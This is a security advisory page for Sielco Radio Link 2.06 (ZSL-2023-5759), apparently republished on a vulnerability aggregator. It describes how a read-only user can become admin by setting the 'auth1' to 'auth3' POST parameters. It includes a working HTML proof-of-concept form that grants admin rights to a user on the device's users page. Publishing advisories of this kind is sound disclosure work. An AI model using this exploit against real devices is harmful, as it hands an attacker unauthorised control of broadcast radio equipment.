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Sielco Radio Link 2.06 Remote Privilege Escalation

🗓️ 30 Mar 2023 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 289 Views

Sielco Radio Link 2.06 Remote Privilege Escalation advisory for HTTP POST request parameter vulnerability with vendor response status

Related
Code
<!--


Sielco Radio Link 2.06 Remote Privilege Escalation


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
                  2.05 (RTX19)
                  2.00 (EXC19)
                  1.60 (RTX19)
                  1.59 (RTX19)
                  1.55 (EXC19)

Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.

Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.

Tested on: lwIP/2.1.1
           Web/2.9.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5759
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5759.php


26.01.2023

--><html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value="testingus"/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value="2"/>
<input name="user2" type="hidden" value=""/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="0"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value="0"/>
<input type="submit" value="Escalate"/>
</form>
</body>
</html>

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30 Mar 2023 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.16.5 - 8.8
EPSS0.00057
SSVC
289